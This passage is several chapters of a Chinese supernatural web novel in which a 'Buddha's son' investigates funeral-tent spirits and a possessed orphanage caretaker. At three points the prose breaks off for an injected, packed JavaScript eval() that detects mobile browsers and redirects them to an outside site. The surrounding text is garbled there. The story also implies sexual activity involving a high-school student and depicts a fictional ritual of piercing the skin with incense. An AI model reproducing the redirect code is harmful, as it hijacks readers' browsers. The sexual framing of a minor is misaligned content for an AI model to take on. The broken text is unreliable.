昨晚施霜景克制住了自己,没有参加任何一家葬礼,没有上香也就是吃冥餐,也没去吃白事的流水席,按理说饿鬼印是不该烙在他舌头上的。吉祥话是另外的惹祸,在身上没有显现,但吉祥话的口子一开,施霜景相当于是在泄露福缘,最招这些刚刚过世之人的惦记。施霜景是人类,福缘有限,可罗爱曜在施霜景身上刻了佛子十诫,见此诫如见佛子,施霜景就成了罗爱曜的代言人,替他开口送福缘出去。 不过这不是什么大事。 这些灵棚至少都要搭三天,这才第二天,来的人似乎更多了,前一天还有些家属在外地没能赶来。现在正是亮堂堂的雾晴天,罗爱曜一出楼门,那些折金元宝和折纸莲花的人一齐停手,只听得麻将的骰子空转,不知是谁刚按下,骰子在麻将机中央掷来掷去,没有停歇。 罗爱曜径直地走入灵棚内,现在城市里搭灵棚不允许停尸,尸体都在殡仪馆的停尸间里放着,只有花圈与遗照。 头七之前,这些死去的人还未马上转生,可称“亡灵”。罗爱曜开眼,于灵棚里找亡灵,很快,他就找见了那佝偻的老头坐在塑料椅上,旁观自己的子女打麻将,就好像还活着一般。老头的亡灵不敢看罗爱曜,在那儿演呢。 罗爱曜随意地取了一支香来,点燃,借着烟气,老头像是饿了千年的鬼闻见饭香一样,忙不迭从塑料椅上下来,踉踉跄跄地往罗爱曜这处走。罗爱曜站定在花圈旁,老头走到跟前,不敢太靠近,低垂着头,猛吸食罗爱曜的香。 “这根香当我送你,你这老儿必须回答我一个问题。” 老头没牙,挤了挤喉咙,发出只有罗爱曜能听见的、不完全属于阳世的声音,他答应。 “你们往后有再去过那山洞吗?” 老头鼓了鼓眼珠,不知道是真没听懂还是装没听懂。好一会儿后,老头说,什么山洞?为什么要去山洞? 罗爱曜点点头,心中有数。他掐熄了手上的香,没让老头继续食他的香了,罗爱曜说:“全送你未免有点太便宜你,留着这香送你的哥哥或者姐姐还差不多。” 见此香立刻就断了,老头爆出一声难听刺耳的尖叫,刚才还弯着腰作恭敬状,如今老头如小儿般顽劣,躺在地上赖皮,罗爱曜跨过地上的老头,拿上残香潇洒离开。 一路上罗爱曜见到灵棚就进去,全是同样的流程,问同样的问题,拿同样的残香。眼看着时间差不多了,罗爱曜终于去到昨天拦住施霜景讨要吉祥话的那家灵棚。 中年男人喝得醉醺醺,他的女儿在旁边沉默地点帛金、记账,其他家属三两聚坐聊天唠嗑,一地瓜子花生皮。罗爱曜走进灵棚,众人抬头看罗爱曜,这一家人身上闪着属于佛子的吉祥印,却不知道这泼天的吉祥富贵是谁给的,不识得罗爱曜。 光收回吉祥印太便宜这家人。一路上施霜景经过这么多灵棚,不论活人死人都克制自己,不上来要佛子的加持,偏偏这家胆大,让施霜景开了这个说吉祥话的头,这也导致施霜景经过这个灵棚之后,所遇见的剩下所有灵棚都蠢蠢欲动。 罗爱曜走到女孩面前,他掏出钱包,竟然是数出了二十三张粉票子,说是帛金。女孩忙不迭登记了,问罗爱曜姓名,是谁的亲朋好友,好记在账目上。 “谁的亲朋好友?地藏王菩萨算不算。”罗爱曜用玩笑的语气,他这大冒犯的话吓了女孩一跳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417933|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不敢动笔。 “小娃娃,这玩笑不兴开啊。”一旁的中年男人一开口就是酒臭。 “子孙聚,子团圆。子孙代代居福禄,子孙富贵万万年。”罗爱曜轻快地背出昨天的吉祥话,然后道,“这玩笑不兴开啊。” “你不懂,你不懂……这很灵的。那个男娃娃,你要是见到了,你也去拦嘛,他烂好心的很,也会说的。吉祥话谁不爱听?嘿嘿,今天我的股票就涨了。” 罗爱曜留下帛金,什么也没拿就走了。好事要在夜深人静时发生,光天化日的,不要吓到别人眼睛。 施霜景放学,浑身难受得要死,胯间别扭了一整个上午,越想越觉得自己倒霉,自己倒霉被人拦住强买强卖吉祥话,回到家被人强买强卖用身体还债。舒服是还挺舒服的,可绝不能在上学的日子乱搞了,施霜景要是能好好睡个懒觉都不会如此难受。 他出校门,忽然看见那个惹眼的家伙,穿着他的衣服,一袭运动打扮,不是罗爱曜是谁? 罗爱曜手里拿着一把残香,说:“怕你再被劫吉祥话,来接接你。” “……”还是那句话,你人还怪好咧! 施霜景沉默着和罗爱曜并肩行走,超级不自在。看见罗爱曜的脸,竟然马上想到他那长长的孽根。施霜景再也不能正视罗爱曜了! “晚上陪我去……” “晚自习结束之后我要回一趟福利院。”施霜景自知打断了罗爱曜的话,可他这事也挺紧急的。 “怎么?” “刘奶奶生病了,晚上要去看看她。” 罗爱曜捏着自己的下巴,一脸正色道:“福利院?我也可以去。去完我们再一起去山洞。” “山洞?”施霜景一听就纳了闷了,什么山洞?罗爱曜怎么一天到晚就搞这种神神叨叨的事? “你们厂里的老人都快死光了,得去看看发生什么事了吧。”他说。 哪有要死光了!不吉利!施霜景打了个冷战,他说:“连你都查不出来?很麻烦吗?” “查不出来?我来的第一天就查清楚了。不是不知道,而是平息不了。”罗爱曜用事不关己的语气道,“这不是我应该做的事,要是能来些其他教派的人来处理就好了……这么说也不完全对,有合该是我接手和协商的一部分。我知道了。” 罗爱曜说着,从兜里掏出一张皱皱巴巴的名片,施霜景定睛一看,这不是郎放的名片吗!!该死,又想起他和罗爱曜搞起来的第一夜了,罗爱曜翻来覆去地吓他,名片原来在这件外套的兜里吗?不对啊,肯定不是。 “你要干什么?你要拉别人下水吗?”施霜景欲抢走罗爱曜手上的名片,一时间两个人在街上近身纠缠,平白地惹人眼光。 “嗯?你这么激动干什么?”罗爱曜看施霜景来抢,就和施霜景玩手上的魔术,他的语气一时间变得有些危险,“喜欢这一款的?” “……你有病吧!” “还是觉得他更可靠?” “应该比你可靠一点。” “给你一个撤回的机会。” “……算了,佛子,你爱怎么样就怎么样吧,你们斗法,我管不了。”施霜景抢不到,实在是抢不到,只能作罢,发表落败感言。 罗爱曜推了推施霜景的书包,原本是想让他走快点,磨磨蹭蹭的,在路上惹那些灵棚亡灵和家属的惦记,这些视线都很脏。可施霜景的书包很沉,罗爱曜感受到了,一想起昨晚他折腾施霜景一夜,罗爱曜只好往后使巧力一拽,把施霜景的书包拿在手里,自己单肩背上了。 施霜景错愕,罗爱曜露出一副“这种小事无足挂齿”的表情,跟着施霜景一前一后地回家。 *1:这段应身、法身、报身(三身)的解释参考、结合大量网络文章及佛学大辞典。 24. 害怕送死 刚才罗爱曜进过的灵棚,点帛金的女孩还在想罗爱曜这号人,生得好看有什么用,说话大不敬,刚才收到的帛金也没入箱,女孩放进了自己的衣兜里,有点热烫之意,像隔着棉毛衫贴了块暖宝宝似的。 又不知昏沉了多久,灵棚里进来一对父女,此时女孩那喝醉酒的父亲早已经出了灵棚,大概是回家上厕所去了,女孩不认识这对父女,怎么今天尽来些不认识的人? “你好,我受人之托,来你们厂里调查老人集体身亡之事,请问你愿意帮个小忙吗?只是回答几个简单的问题。”木着一张脸的男人这么说,直白到有些冒犯了。 女孩双腿踩在塑料椅的横栏上,微微前倾身体,压着登记的长条桌,桌下有收帛金的箱子,她下意识护着钱,说道:“我不住厂里,在旁边的城市读大学,这次我奶奶过世,我是临时被叫过来的。”言下之意,她帮不上忙。 “那你是刚搭灵棚就在这儿守着吗?” “这的确是。” “那就可以。我会有一点微薄的报酬给你,希望你不要介意。”郎放顿了顿,也稍稍俯身,观察着女大学生,“不过在此之前……你眉心金光倒置,是天泄之相,要从大喜转为大悲。稍等。” 说罢,郎放退出灵棚,看见灵棚外有个别亲属的眉间也闪着这样不正常的福光,他回到女大学生面前,问道:“外面戴玳瑁色眼镜的中年女人是你的谁?” “右边那个吗?胖胖的那个?是我的大姑。” “你们家惹到什么东西了么?” 女大学生苦笑道:“你不就是来调查厂里怪事的吗?应该不止有我家碰见这样的情况吧?” 正说话间,女大学生忽然感觉一只小手搭在自己的右侧衣兜上,她被这动作给吓一跳,差点从椅子上摔下来,才发现跟着高个男人的小姑娘从桌旁的缝隙里挤了进来,轻轻碰了碰她。 小女孩说:“哎呀,‘佛子买命’,像恐怖片一样。” 她才几岁?看起来也不过刚上小学的年纪,说话像被恐怖电影腌入味了一样,一开口吓死个人。女大学生猛站起身,准备喊灵棚外的人进来,郎放抬手示意她冷静,直说了:“你们是不是去要了不该属于你们的吉祥物?比如供奉、法宝、承诺之类的。” 大抵因为灵棚气场本来就不对,属阴,刚过世的老太太的遗像乌突突地朝前盯着,也吓人,厂子也吓人……都吓人……女大学生原本不该那么快就向陌生人交底,可郎放的气场很稳重,像座山石,一下就给人那心中翘起的恐惧给镇了下去。 “这还是我奶奶……我奶奶托梦给我爸,我姑姑和叔叔们他们也都梦到了,我奶奶让我爸找人说吉祥话,说厂里现在有贵人,贵人出现会有感应的……我爸昨天等了一天,都等得骂街了,可是晚上好像那贵人出现了,我爸就上去讨话,讨到了。” “你别说,有了这吉祥话之后,我总感觉我奶奶的遗像在朝我们笑,我爸亏损的股票今天马上就扭亏为盈了,姑姑和叔叔应该也有些好事发生,我爸刚才还说,老太太走之前总算是做了件好事,还能从地底下多看两眼,泄露天机给家里人。只不过刚才来了个奇怪的男人,阴阳怪气的,好像意有所指,还给我们送了两千三的帛金。” 郎放问:“你家现在一共还活着多少人?算你爷爷奶奶这一辈往下的所有家人。” “我家是四口,我大姑家的两个哥哥都已经生了孩子……这些小辈也都算进去吗?” “算。” “四加九……我有两个叔叔,有一个还离过婚,两任老婆加小孩……天哪。”女孩捂住嘴巴。加起来刚好二十三人。 身旁的小女孩又戳了戳女大学生的衣兜,她有些碎嘴,忍不住道:“现在放弃还来得及哇,佛子要你们诚心忏悔,不能要不该要的。” 女大学生诧异道:“这是什么意思?怎么放弃?怎么忏悔?你们不会是来骗钱的吧?早上那个男的又是谁?” 郎放示意女大学生坐下,她情绪太激动了,大声嚷嚷会把屋外的人喊进来,中年人有时往往更听不进去实话。郎放说:“听着,今日之内把这些钱送回到家族中每个人的手上,这是佛子派给你们每个人的买命钱。拿到钱之后,在室内找到坐西向东位,对着该位上一支香。记住,是一支,这是敬神佛的上香法。在拜过之后,把香插进肉里,等香烧完了,再把香拔出来。女孩插右手虎口,男孩插左手虎口。” “插、插进肉里?” 从旁取过一支香,郎放演示给女孩看。可能因为郎放救人心切吧,也不顾自己会不会受伤了,他用自己的手示意怎么“将香插进虎口”,以虎口当暂时的香炉,那根香少说插了五毫米深,这才堪堪立住,“要这么插,一定要等香烧完。烧完之后,每个人的那一百元也烧掉,佛子才会原谅你们。你们昨天是什么时候讨要了吉祥物,今天就得在什么时间之前将罪给赎了。” 小女孩从桌后挤出来,跑到爸爸身边,拔出香的虎口剩一个小小的血洞,小女孩爱怜地抚摸着爸爸的手,要将爸爸拽出灵棚,让他不要再管了。 一身冷汗从头湿到脚,女大学生怔忪许久,反应过来时,灵棚空空荡荡,已无他人。 今日是周五,晚间施霜景想,这一周可算是到了头了,这一周真的漫长到吓人,半天当学生,晚上伺候鬼,搞半天施霜景还是在打工,打工打得歌都不唱了,每天只能在微信群里聊天吹水,问到就说自己上学好忙,决定好好学习了所以晚上回家写作业,这样糊弄过去。 佛子盯得紧,施霜景竟然觉得学校还算是一个可以喘息的场所,如今佛子要接他放学,施霜景心累。今天晚上罗爱曜竟然骑了机车过来,施霜景这还是第一次见罗爱曜骑机车。 依旧是大雾之夜,校门接孩子的家长也变多了,许多家长甚至开车过来,在路边一排停开,不知道是要带孩子们去哪儿。罗爱曜演一把施霜景的家长,高中生本就青春期,喜欢吆喝和看热闹,许多学生就远远地等着,想看骑机车的漂亮男人到底是在等谁。 等来一位施霜景,施霜景真想当没看见算了。罗爱曜朝他招手,风流倜傥,施霜景恨不得拔腿就跑。罗爱曜看出施霜景想跑,只觉好笑,把头盔往机车上一放,也预备要追,反正他肯定会捉住施霜景。 “没事,没事,我开玩笑的。”施霜景败阵,老老实实走回罗爱曜身边。 “你当然是在开玩笑。”罗爱曜哂笑道,“我又不会把你吃了。” 哦?是吗?施霜景露出这样的眼神。 “上车吧,先去福利院。” 这机车一看就很沉,施霜景忍不住伸手摸了摸真皮的座椅,这机车的镀层真漂亮,车前漆成钴蓝色,与罗爱曜那对蓝眼睛呼应了。 两人都是黑色头盔,看来骚包的罗爱曜只是在该骚的地方骚,不会突然给他找个什么粉色的头盔之类的。 “坐稳,抱住我的腰。” 施霜景听话,乖乖搂紧罗爱曜的腰。机车很快发动,听话是对的,因为车速真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417934|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很吓人。罗爱曜这个家伙竟然在老人孩子多的厂区飙车!诶,这话施霜景是不是说过?好熟悉的样子。 福利院不算太远,驱车十分钟就到了。深夜的厂区公路两旁立着参天的梧桐树,是跟着厂区建立时一同种下的,至今也已超过五十年。机车拐进水泥路,再往前开十余米,见到福利院禁闭的大门。 得打电话给高大爷。施霜景找到高大爷的微信,拨通微信电话,可高大爷没接。 福利院是二层高的旧建筑,二楼是孩子们睡觉的楼层,他们可以从福利院外看见二楼的灯全部熄灭了。施霜景没办法,再打给刘奶奶,刘奶奶倒是接了。 “刘奶奶,你好点没有?我刚下晚自习,来看看你,现在我已经到福利院门口了。” “小景啊……今晚就先回家吧,白天再来。” “我人已经到了,看一眼我就走。我刚才给高大爷打电话,希望他帮我开门,但他不接。” “指望不上老高……你明天再来好不好?” 施霜景不大会说话劝服别人,他望向罗爱曜,罗爱曜则望进福利院里,他露出耐人寻味的表情,几秒后才发现施霜景用眼神向他求救,罗爱曜朝他摊手。 电话在推拉之中由施霜景挂断,施霜景决定翻铁门进去。 他将书包放在机车座上,挽起衣袖就准备翻铁门。罗爱曜没拦他,施霜景以前爬墙爬习惯了,很快就找到着力点,几次抬脚就爬上了铁门顶部。 施霜景越过去一看,忽然看见铁门后站着一个人正仰头直勾勾地盯着他,眼珠黑如细洞,施霜景险些双手一软摔下去。是白院长。 这福利院的院长守在门后,施霜景到底还要不要翻?施霜景回头看向罗爱曜,罗爱曜示意他先下来,那表情让施霜景想揍他。 “门后有人。”施霜景跳下来,轻声朝罗爱曜道。 罗爱曜指了指铁门底下,他们并没有看到脚。罗爱曜说:“你知道三魂七魄吗?门后站着一个人的地魂,他人没死,只是一魂出走。我没想到你也能看见。” “……” 罗爱曜左手朝虚空中一划,法身的一只手在门后拂开门锁,而后那一手往白院长的地魂眉心一点,要地魂归位,不知道为什么这人的地魂会出窍,守在大门前。 “吱呀”一声,施霜景见到门自己解锁、移动,直至完全打开,他没再见到那吓人的白院长了。施霜景不多想,拽上罗爱曜就往福利院里进,他很担心刘奶奶和孩子们。 福利院里没有亮灯,俨然是一座空屋,刘奶奶住一楼最左边的房间,施霜景敲门,无人回应。施霜景盘算着踢开木门的可能性,罗爱曜按住施霜景,“应该在二楼。” “佛子,在上去之前,我想确认一下——”施霜景组织语言,停顿几秒,这才郑重问出,“你会站在我这边吗?你有时候看上去很不靠谱,我有点害怕。” 我害怕你会再次让我平白无故去送死。 虽然罗爱曜会救他,但送死的感觉很糟。施霜景这才缓缓反刍上次被混混刺杀的疼痛体验,那时佛子明明也可以提醒他的,可他为什么要先让他挨刀呢? “你用什么作抵?” 施霜景拽过罗爱曜的衣领,蜻蜓点水一吻。唇分,施霜景的眼里透水光,各种情绪混杂,有朝向他所担心的人的情绪,也有朝向罗爱曜的独特的情绪。“关键时刻提醒我一下,我不会拖你的后腿。” “那你要听我的话,我说走就走。” “好。” 25.鬼子母神篇(一) 话虽如此,还是施霜景走在前,罗爱曜走在后。不是因为施霜景胆子大,而是罗爱曜自夸说,如果让他开路,这些东西会因害怕他而一躲再躲,只是往后推延这些异象而已,不如让施霜景去钓鱼。施霜景纳了闷了,如果真的有什么“东西”,难道不会同步地感应到罗爱曜吗?谁先谁后有关系?不过好歹后背有个人抵着腰杆,施霜景定神,打开手机手电筒,上楼。 这幢小楼在用作励光福利院之前是一家咸菜小厂,二楼只有左右两间屋子,面积都很大,以前用来铺开阴干咸菜。现在福利院里的孩子不多,拢共七人,一间屋就能全部睡下。施霜景往右拐,马上就见到禁闭的房门。房门旁是开在走廊的窗户,窗帘紧紧拉着,施霜景记得以往盛夏的时候,靠走廊和靠楼外的两边窗户都会打开,让风对流,夜里睡觉特别舒服。 施霜景往拉紧窗帘的窗户里看一眼,手机光打上玻璃,只见得玻璃上细细密密的划痕上浮出炫光,以窗帘暗色做底,浅浅映出施霜景的倒影。施霜景这一盯就把自己吓着了,移开手电筒,罗爱曜迈向走廊的另一侧,施霜景汗毛倒立,罗爱曜不是要给他撑腰吗?怎么还能一声不吭就开溜的?施霜景赶紧俯身小跑跟上罗爱曜。 二楼的另一间屋子空置着,从这侧窗户能看见那侧的夜色从外窗透入,好歹是敞亮的幽暗。罗爱曜忽然问:“你的书包呢?” “……放在机车上了。” 罗爱曜语气无奈:“我将那一把残香放进你的书包里就是为了晚上带来用,你嫌书包沉为什么还要背这么多书回家?反正你又不会翻开。” 被吐槽了,施霜景不回嘴,谁让罗爱曜说的是事实呢。 罗爱曜靠上走廊的水泥护栏,手在空气里仿佛掏着什么,终于找到东西,他的手一攥,很快那装着残香的黑色塑料袋就浮上来。 “你明明就可以这样隔空取物,为什么要埋怨我?” “这个场景很滑稽可笑,你不觉得吗?”罗爱曜嫌弃道,“我的法身做什么不好,用来溜门撬锁送货?” 不觉得。施霜景再次于心中吐槽。忍字头上一把刀,意思是在心里千刀万剐一下就算了,施霜景忍。 “你们院里一直都只用一间房做寝室吗?”罗爱曜挑拣着残香,能认出哪根属于谁,要选出特定的来。 “不是,直到前年都还是两间都用,男孩女孩要分开睡的。可能因为现在院里的孩子都还年龄太小吧,没有年龄大些的孩子能按性别分房照顾弟弟妹妹。” “房子空置太久会招东西,我相信你之前就明白这一点。”罗爱曜挑了十来根香,剩下的放回黑色塑料袋里,让施霜景拎着,然后罗爱曜将一把香上下挥动,以风作火引,两三下就划出烟气,但这香燃的是不是红点,而是蓝点,罗爱曜说,“你怕不怕?怕的话过来牵着我。” 怕什么?要怕什么?施霜景赶紧牵住罗爱曜,两只手一起牵,紧紧握着罗爱曜的左手不松。正当施霜景握好罗爱曜的手之时,那住着孩子的房门砰地弹开,惊天动地一声,木门前后晃荡,施霜景听见刘奶奶的声音,“嘘、嘘——” 施霜景大气不敢出,等了约莫十秒,刘奶奶才从门后出来,像是才下床,头发为乱,脸色不佳,身穿藕色的棉服,脚上一双老底棉鞋,她微微合上门,揉了揉眼睛看向走廊这头。“小景?”她作惊讶状。 “奶奶?刚才那是怎么回事?你还好吗?”施霜景差点松手,罗爱曜反手一抓,扣住施霜景的手腕。 “你这是带谁来了呀?” “啊……他是我的远房表哥。” “远房表哥?你什么时候还有表哥了?” 罗爱曜好心提醒道:“这香对他们是好东西,你现在关住他们,今晚他们就要去找其他的家人。” 刘奶奶呆站在对侧,确实不过来,如同她与施霜景这侧隔着一条河。刘奶奶非常虚弱,头发散乱就更显精神不振,她的手虚搭在门把上,不愿开门。她说:“小景,你站在那边不好,会冲撞到你,你先过来。” 我可以过去吗?施霜景微微抬眼,看罗爱曜的表情,发现罗爱曜正专心致志,不像是在开玩笑。我还是不过去了。施霜景摇摇头如此表示。 “你这孩子!过来!”刘奶奶忽然爆出粗哑一声,仿佛硬物锉过砂纸。 施霜景被罗爱曜抓住了手腕,不是他不想,是他不能。 木门忽的爆弹开,将站在门侧的刘奶奶竟然直撞出栏杆,翻跌下去。施霜景吓得惊叫一声,还没来得及去看刘奶奶的情况,门里爬出之物看得施霜景头皮发麻,将他的神经元细胞都给吓得不会动了。 从地上和天花板上爬出四肢扭曲的不明生物,其四肢几乎折成九十度,有的是平折成九十度有如海星,在地上蠕动爬行,有的则是竖折将小臂和小腿当做移动的支点,但他们不论是平折还是竖折,移动速度都极快,顺着天花板或者地板爬行,体积并不小,一只就可以堵住走廊通道,门里现在刚涌出三只就已经足够有压迫感,如果将这些四肢归回原位,这些不明生物都是成年人体型。 罗爱曜踹开这侧空屋的房门,抓上施霜景一同进屋,施霜景此刻被吓得不轻,不仅是紧紧跟着罗爱曜,更恨不得往罗爱曜身上爬,只有罗爱曜是靠谱的、有能力的,施霜景觉得待在罗爱曜的背后不如待在罗爱曜的后背,可惜罗爱曜不让他爬。“我要持念解脱咒,你乖乖待着。” “好的,好的。” 这些折肢人鱼贯入空屋,一进来就四面地盘踞着,施霜景满脑子飞比喻,大蜘蛛、大海星、恐怖片、丧尸片……到底是什么……罗爱曜这回开口,不再是施霜景能听懂的文字,抑扬顿挫,如诉真言,从语调到语速都像是在干正经事,他一边念咒,一边将单手快要烧尽的香分出来,有折肢人往罗爱曜处爬,罗爱曜微微俯身,似乎是要将香递给他们。 施霜景在罗爱曜身后数着这些折肢人,一共十一只,他刚因听见罗爱曜的念诵而稍稍定心,可下一秒他望见门里爬来浑身是血的一人,有手脚不自然地折断,且是刚刚发生的……是刘奶奶。施霜景看得眼泪都要下来了,刘奶奶的头发散乱,被满脸血糊住,她双眼赤红,朝罗爱曜嘶吼,不知道是不是她摔下去伤到肺了,她开口发出恶声,却吐血更多。 她语速加快,嘴唇疾动,吐出的与其说是话,不如说是咒。罗爱曜继续为折肢人递香,不为所动。两秒之后,刘奶奶手脚并用地爬进来,竟然直冲施霜景的方向。 “算了,你想上我后背就上吧。跳上来。” 施霜景果断地爬上罗爱曜的后背,动作比小猴子还快。 这边交代完,罗爱曜稍稍转身,伸腿拦住匍匐在地的刘奶奶,“你不让我超度解脱他们,难道想让他们继续维持这状态?你又多害一人,现在脱离她的肉身,我就听你一言。” 念咒被打断,那些没领到香的?型人激动地发出叫声,但那叫声都细细小小,小过婴啼。刘奶奶嘴中依旧含混不清,变成了咒骂的语气。 罗爱曜继续念回梵语咒,他亦是语速加快,很快手中十一支香全部派出去,邪祟之物附身在刘奶奶身上,折磨她不说,甚至操使着她去撕扯裤子、啃咬罗爱曜的腿。施霜景挪了挪自己的腿,盘在罗爱曜腰上,他太怕了。 “小诃利帝,我今晚本来就是要去见你的,你的这些孩子受业力流转加速的影响,我会和你一起想办法。”罗爱曜放低姿态,展现出几分人性,“但你要与我说,不论是人言还是密言,你不说我就没法懂。” 刘奶奶突然发出一声嘹亮啼哭,她转向,自己的身体折损了,还要用这身体去从?型人口中抢走即将烧尽的香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422740|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如同发觉孩子吃错东西的母亲,要将伤害性的食物从孩子口中掏出。 现在这人的后背像安全岛,可施霜景听见这些不像是人间的声音、看见这些不像是人间的场景,还是有点头晕,心跳太快了,血都从脑子往心脏涌。“你能不能救救刘奶奶,求你。”施霜景只能重重复复讲这句。如果罗爱曜能救回被捅二十刀的施霜景,就也能救回刘奶奶,施霜景笃信。 那些?型人不愿意将香还给刘奶奶,餍足地吸食着。施霜景一直在求,没听到回应就不停口,直求得罗爱曜虚起眼睛,心里终于烦了,他停止念咒,十一根香的蓝色焰点忽然熄灭,正正好好卡在香将完未完这一刻。 刘奶奶吐出一口黑血,四肢一软,扭曲倒地。那十一个?型人复又躁动起来,在空室内焦躁地爬行。 罗爱曜自言自语道:“不让强行解脱,是怕进地狱追责,但是经我超度,不该会有超出的恶业要他们承担。小诃利帝这么努力地拦住我,是不让我现在就送她的孩子们入轮回……是有大愿未了?是要原宥?谁原谅谁……小诃利帝不是真诃利帝,但也几乎如是了。小诃利帝现在又走了,不愿和我对话。有意思。” “你在和谁叽里咕噜地说话呢?” “……” 罗爱曜拍拍身后施霜景的屁股,“下来,背起你的刘奶奶,我们出去。” 尽管施霜景心里毛毛的,但毕竟这是刘奶奶,施霜景僵着脖子背起她,只见室内的窗帘自动拉起,由厚重的灰窗帘突然褪成蓝绸,罗爱曜让施霜景先出去,他断后,保证不让任何一只?型人离开,先暂时困于室内。 然后他去检查了另一个房间里的孩子们。幸好,那些孩子都只是安然睡着,刚才发生的动静丝毫没有惊醒他们。 将刘奶奶放在她的床上,施霜景急得不得了,觉得刘奶奶只剩一口残气了,他望向罗爱曜,希望罗爱曜想想办法。罗爱曜坦白道:“小诃利帝看中了这具身体,是死是活要她来救。” “什么小诃利帝……到底是谁?是刚才附身的脏东西吗?”为什么要指望脏东西来救人?施霜景忍住说出最后这句的冲动。 “诃利帝,按你们如今的解释,是鬼子母神*1,不是脏东西。在你们厂旁的某座山里有一座鬼母庙,早年间毁坏了。你还记得我带了一颗石像头回家吗?你去上学之后我将这颗石像头藏进了衣柜里,我在鬼母庙附近找到了这颗头。说是鬼子母神庙,但里面供的不是真的鬼子母神,而是替代品。替代品受供奉许许多多年,她就是小诃利帝,没有在燃灯佛处登记,但跟半个鬼子母神也没有差别了。” 罗爱曜料想施霜景肯定听不懂,他就兀自说下去了:“这里有人以前用小孩祭鬼子母神,鬼子母神心碎如死,留下恨咒,但她看顾这一方土地的小孩,还是在饥荒年间保证了这些活着的孩子的生存。这些祭品小孩吃鬼子母神肉也长大了,只是长大的方式与他们的兄弟姐妹全不相同。” 没想到施霜景这分钟倒是完全听懂了,他反问道:“那是这些祭品小孩找他们的兄弟姐妹复仇吗?为什么?” “如果是复仇,那他们就该拿了我的香乖乖离开。小诃利帝来拦住我,应该不止是复仇这么简单。” 一只手忽然抓住施霜景的小臂,刘奶奶忍痛道:“小景……去……去拿桌上的碗……”说罢,她猛然放手,施霜景连忙去拿茶几上的小碗,发现里面盛满白色的汁水。 罗爱曜凑过来看了一眼,点头道:“小诃利帝来道歉了,这是鬼子母神乳水,可以喂。” *1:鬼子母神/诃利帝,参考了好几个版本的鬼子母神传说,说鬼子母神喜食人类小孩,受佛陀教化之后成为保护孩童的女神,有说她前世是受人辜负的怀孕女子,也有说她鬼子母神一世是夜叉化身。本文里对这个设定有所调整。 26.鬼子母神篇(二) 经罗爱曜这么一形容,施霜景觉得手上并非凡物,不禁有点紧张,白色乳水荡出圈纹,从颜色和气味都分不出有什么差异——普通乳液与非自然乳液的差异,而且这质感……与其说是乳液,更像是米汤。罗爱曜催促,施霜景端着盛有乳液的碗,不知道怎么扶一个重伤的老人起来,可刘奶奶似乎是闻到了鬼子母神乳液靠近,她奋力睁开眼,唯一没有折断的右臂努力地往乳液的方向够去,状态隐隐又往癫狂方向发展。施霜景怕手中的乳液被打翻,单手制住刘奶奶的手,这下彻底没法一个人搞定了,施霜景向罗爱曜求助,“佛子,你能不能来搭把手?” “你把碗递给她就行了。” “真的不用送刘奶奶去医院吗?” “你可以送,也可以喂。我建议你喂鬼子母神乳水,解铃还须系铃人。” 施霜景又搏斗了一会儿,刘奶奶的手臂那么瘦,皮肤摸上去皴皴的,可力气那么大,根本挡不下来。罗爱曜依旧是那副“都让你听我的了我看你犟到几时”的表情,抱着手臂旁观。不知过了多久,施霜景终于还是把碗递到了刘奶奶手里,他的手在两旁护着,结果老人忽的将碗往自己嘴下一送,速度之快,登时又让人觉得她不是受了重伤的老人,而是精怪维持不住人身而现出其焦躁的渴望。乳水一半进了老人口,一半洒满前襟,顺着圆圆的衣领往身上流。 “施霜景,你是要留下来照顾二楼的孩子,还是跟我去山洞?” “我陪这些孩子。”施霜景半点没有犹豫。他还是应该犹豫半点的,一想到隔壁房间里关着的东西,施霜景头大如斗,佛子这么问肯定就是要离开的意思了,施霜景追问,“你要去山洞?那些乱爬的东西会不会再来找刘奶奶和孩子们?你今晚还回来吗?” 重要的问题放在最后问,施霜景脸也不要了,超现实的困难要让超现实的人来解决,佛子是他的救命稻草——施霜景从来没觉得罗爱曜这么可靠过,可靠得都有点不像是佛子了,那个会塞纸条、诱导做春梦、搞出各种阴间花活来吓施霜景的佛子。 “回哪儿?回家?或许吧。”罗爱曜顾左右而言他,“今晚还远不是高潮,这场戏要一直等到头七才有意思。” “我怎么觉得你有点像是在看戏。”施霜景是实诚人,说实诚话。用“有意思”来形容这许多葬礼,罗爱曜的顽劣本性好像又隐隐透了出来。 “这种种事宜都与我无关,我不看戏的话,难道还应该做什么吗?我留在这里是为了解决你,你是卷入这种种事宜的人,我不能让任何横生的意外再把你截胡了。在我搞清楚为什么你是那个特殊的家伙之前,我只能特殊对待你。” 